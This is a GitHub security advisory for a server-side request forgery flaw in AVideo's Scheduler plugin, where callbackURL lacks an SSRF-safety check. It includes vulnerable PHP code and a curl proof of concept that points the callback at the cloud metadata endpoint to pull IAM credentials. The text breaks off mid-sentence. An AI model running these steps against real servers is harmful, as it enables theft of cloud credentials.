GitHub Security Advisory: GHSA-v467-g7g7-hhfh
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 5.5)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 25.0
Patched in: 26.0

Summary: AVideo has SSRF in Scheduler Plugin via callbackURL Missing `isSSRFSafeURL()` Validation

Details:
## Summary

The Scheduler plugin's `run()` function in `plugin/Scheduler/Scheduler.php` calls `url_get_contents()` with an admin-configurable `callbackURL` that is validated only by `isValidURL()` (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through `isSSRFSafeURL()`, which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network `callbackURL` to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet.

## Details

The vulnerable code is at `plugin/Scheduler/Scheduler.php:157-166`:

```php
// Line 157: callback URL retrieved and site-root token substituted
$callBackURL = $e->getCallbackURL();
$callBackURL = str_replace('$SITE_ROOT_TOKEN', $global['webSiteRootURL'], $callBackURL);
if (!isValidURL($callBackURL)) {
    return false;
}
// isValidURL() only checks URL format via filter_var(..., FILTER_VALIDATE_URL)
// The critical missing check is:
// if (!isSSRFSafeURL($callBackURL)) { return false; }
if (empty($_executeSchelude[$callBackURL])) {
    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30);
```

`isValidURL()` in `objects/functions.php` uses `filter_var($url, FILTER_VALIDATE_URL)` — it validates URL syntax only and does not block internal/private network targets.

`isSSRFSafeURL()` in `objects/functions.php:4021` explicitly blocks:
- `127.x.x.x` / `::1` (loopback)
- `10.x.x.x`, `172.16-31.x.x`, `192.168.x.x` (RFC-1918 private)
- `169.254.x.x` (link-local, including AWS/GCP metadata at `169.254.169.254`)
- IPv6 private ranges

This function was added to the LiveLinks proxy (GHSA-9x67-f2v7-63rw fix, commit `0e5638292`) and was previously used in the aVideoEncoder download flow (GHSA-h39h-7cvg-q7j6), but the Scheduler plugin was not updated in either fix wave, leaving it as an incomplete patch.

An admin can configure the `callbackURL` for a scheduled task via the Scheduler plugin UI and trigger execution immediately via the "Run now" interface.

## PoC

```bash
# Step 1: Authenticate as admin

# Step 2: Create a scheduled task with cloud metadata SSRF callback
curl -b "admin_session=<session>" -X POST \
  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/add.json.php \
  -d "callbackURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&status=a&type=&date_to_execute=2026-03-18+12:00:00"

# Step 3: Trigger immediate execution via Scheduler run endpoint
curl -b "admin_session=<session>" \
  https://target.avideo.site/plugin/Scheduler/run.php

# Step 4: Read the scheduler execution logs
curl -b "admin_session=<session>" \
  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/get.json.php
# Response includes the AWS metadata API response with IAM role credentials
```

**Expected:** Internal n